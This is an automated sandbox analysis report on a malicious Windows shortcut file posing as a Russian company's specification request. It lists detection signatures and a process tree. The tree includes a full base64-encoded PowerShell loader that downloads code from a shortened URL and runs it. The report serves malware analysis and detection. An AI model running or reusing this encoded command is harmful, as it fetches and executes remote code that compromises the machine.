Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
25/09/2026, 14:34
General
- Target Запрос-спецификация от компании ООО ФРОВ ТРЕЙД на сентябрь 2026г.lnk
- Size 1KB
- Sample260925-rxexqazz6m
- SHA256 c80ddcbe8314a541884fae24e6142279c140a7b9bcc66f8c9ed984c6b5c57d57
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Запрос-спецификация от компании ООО ФРОВ ТРЕЙД на сентябрь 2026г.lnk"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACQAQQBkAHIAaQBjAG8APQAiAGgAdAB0AHAAcwA6AC8ALwBzAGgAbwByAHQAdQByAGwALgBhAHQALwBZAHoAegBHAHgAIgA7ACQATgBhAHkAYQBkAGEAPQAiAGcAYwBtACIAOwAkAE0AYQBzAHUAcgBhAD0AIgBOAGEAbQBlACIAOwAkAEwAaQBuAHQAbwA9ACgAIgAqAGsAKgBlACoAZQAqAHAAKgBlACoAaQAqAG4AKgAiACAAfAAgACYAIAAkAE4AYQB5AGEAZABhACkALgAkAE0AYQBzAHUAcgBhADsAJABDAHUAbAB0AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABNAFMAWABNAEwAMgAuAFMAZQByAHYAZQByAFgATQBMAEgAVABUAFAAOwAkAEMAdQBsAHQALgBvAHAAZQBuACgAIgBHAEUAVAAiACwAIAAkAEEAZAByAGkAYwBvACwAIAAkAGYAYQBsAHMAZQApADsAJABDAHUAbAB0AC4AcwBlAG4AZAAoACkAOwAmACAAJABMAGkAbgB0AG8AIAAkAEMAdQBsAHQALgByAGUAcwBwAG8AbgBzAGUAVABlAHgAdAA7ACQAUwB0AGEAdAB1AHMAPQAiAE8ASwBfAFMAVQBDAEMARQBTAFMAIgA7AA== -W 12⤵
- Badlisted process makes network request
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_trzmemgx.f40.ps1
memory/2328-22-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-32-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-5-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-8-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-9-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-13-0x0000027EF79E0000-0x0000027EF79FE000-memory.dmp
memory/2328-15-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-14-0x0000027EF7A00000-0x0000027EF7AB2000-memory.dmp
memory/2328-16-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-19-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-20-0x0000027EF78D0000-0x0000027EF78DA000-memory.dmp
memory/2328-21-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-6-0x0000027EF7610000-0x0000027EF7632000-memory.dmp
memory/2328-2-0x00007FF902EFF000-0x00007FF902F00000-memory.dmp
memory/2328-7-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-25-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-38-0x0000027EF8020000-0x0000027EF802A000-memory.dmp
memory/2328-10-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-30-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-31-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-29-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-33-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-28-0x0000027EF7C10000-0x0000027EF7C2E000-memory.dmp
memory/2328-41-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-45-0x00007FF902D70000-0x00007FF903714000-memory.dmp
memory/2328-44-0x0000027EF8060000-0x0000027EF807C000-memory.dmp
memory/2328-48-0x0000027EF8060000-0x0000027EF8068000-memory.dmp
memory/2328-54-0x0000027EF78D0000-0x0000027EF78DA000-memory.dmp
memory/2328-51-0x0000027EF78C0000-0x0000027EF78C6000-memory.dmp
memory/2328-56-0x00007FF902D70000-0x00007FF903714000-memory.dmp